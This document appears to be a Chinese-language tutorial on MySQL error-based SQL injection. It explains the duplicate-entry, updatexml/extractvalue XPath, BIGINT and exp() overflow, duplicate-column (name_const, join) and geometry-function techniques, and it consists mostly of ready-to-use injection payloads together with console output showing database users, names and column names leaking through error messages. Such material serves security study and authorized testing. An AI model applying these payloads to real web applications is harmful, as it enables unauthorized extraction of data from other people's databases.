报错类型Duplicate entry报错:多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息。
Xpath报错:从mysql5.1.5开始提供两个XML查询和修改的函数,语法错误导致查询结果出现在报错信息里
数据溢出报错:整形溢出,双精度溢出
数据重复报错:列名重复
其余报错(几何函数)
基于count(),rand(),group by()的报错注入原理分析[转]
利用Duplicate entry报错实现
Xpath报错
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。updatexml():更新xml文档的函数 语法:updatexml(目标xml文档,xml路径,更新的内容)
extractvalue():对XML文档进行查询的函数 语法:extractvalue(目标xml文档,xml路径)
xml路径格式为/xxx/xx/xx/xx ,即使查询不到也不会报错,但如果写入其他格式就会报错,并且会返回我们写入的非法格式内容,这个非法的内容就是我们想要查询的内容。并且xml路径使用concat()拼接 ‘ / ‘ 效果相同。
注意:extractvalue和updatexml能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substr()函数截取,一次查看32位
查询前5位示例:1select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘1
2and updatexml(1,concat(0x26,(version()),0x26),1);
and (extractvalue(1,concat(0x26,(version()),0x26)));
数据溢出TypeStorageMinimum ValueMaximum Value(Bytes)(Signed/Unsigned)(Signed/Unsigned)
TINYINT1-128127
0255
SMALLINT2-3276832767
065535
MEDIUMINT3-83886088388607
016777215
INT4-21474836482147483647
04294967295
BIGINT8-92233720368547758089223372036854775807
018446744073709551615
在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况:1
2mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算运算即可:1
2
3
4
5
6
7
8
9
10mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
我们知道,如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23mysql> select (select * from (select user())x);
+----------------------------------+
| (select * from (select user())x) |
+----------------------------------+
+----------------------------------+
1 row in set (0.00 sec)
mysql> select !(select * from (select user())x);
+-----------------------------------+
| !(select * from (select user())x) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.01 sec)
mysql> select !(select * from (select user())x)+1;
+-------------------------------------+
| !(select * from (select user())x)+1 |
+-------------------------------------+
| 2 |
+-------------------------------------+
1 row in set (0.00 sec)
将0按位取反就会返回“18446744073709551615”,而函数执行成功会返回0,所以将成功执行的函数取反就会得到最大的无符号BIGINT值,从而造成报错。
同理,利用exp函数也会产生类似的溢出错误:1
2
3
4
5
6
7
8
9
10mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
Exp()超过710会产生溢出。1
2select exp(~(select * from(select user())x));
and (exp(~(select * from(select version())a)));
整型溢出:1
2select ~0+!(select * from (select user())x);
select ( select ( !x - ~0 ) from ( select ( select user())x)a);
在mysql5.5.47可以在报错中返回查询结果:1
2mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('[email protected]')) - ~(0))'
而在mysql>5.5.53时,则不能返回查询结果1
2mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(`a`.`x`)) - ~(0))'
此外,报错信息是有长度限制的,在mysql/my_error.c中可以看到:1
2
3
4/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */
#define ERRMSGSIZE (512)
列名重复
mysql列名重复会报错,我们利用name_const来制造一个列:1
2
3
4
5
6
7mysql> select name_const(version(),1);
+--------+
| 5.7.20 |
+--------+
| 1 |
+--------+
1 row in set (0.00 sec)
构造重复的列:1select * from (select name_const(version(),1),name_const(version(),1))a;
高版本mysql修复了这个问题,要求第一个参数必须为常量,所以我们只能去查询user(),version()一些系统常量。
但在低版本中(Mysql 5.0.12 <= 版本 <= Mysql 5.0.51),可以成功利用。1select * from (select name_const((select database()),1),name_const((select database()),1))a;
利用join()函数可以用来爆列名:1
2
3
4
5
6mysql> select * from(select * from users a join users b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from(select * from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select * from(select * from users a join users b using(id, username))c;
ERROR 1060 (42S21): Duplicate column name 'password'
其余报错
几何函数
mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行,不同的函数情况版本情况可能不一样:
geometrycollection():
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。对GeometryCollection的元素无任何限制。攻击载荷查询的为一串字符,然后用处理geometrycollection(),由于MYSQL无法用这样字符串画出图形,所以报错了。1
2
3mysql> select geometrycollection((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select AS `user()` from dual) `b`)' value found during parsing
multipoint():
MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。1
2
3mysql> select multipoint((select * from(select * from(select database())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`database()` from (select 'security' AS `database()` from dual) `b`)' value found during parsing
其余用法同geometrycollection()。
polygon():
Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。1
2
3mysql> select polygon((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select AS `user()` from dual) `b`)' value found during parsing
其余用法同geometrycollection()。
multipolygon():
multipolygon()是一种由Polygon元素构成的几何对象集合。1
2
3mysql> select multipolygon((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select AS `user()` from dual) `b`)' value found during parsing
其余用法同geometrycollection()。
LineString():
LineString()是具有点之间线性内插特性的Curve。1
2
3mysql> select linestring((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select AS `user()` from dual) `b`)' value found during parsing
其余用法同geometrycollection()。
multilinestring():
参考